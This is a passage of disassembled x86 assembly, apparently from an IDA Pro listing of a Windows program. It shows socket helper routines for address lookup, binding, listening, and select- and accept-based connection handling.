		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DF6C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DF18, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

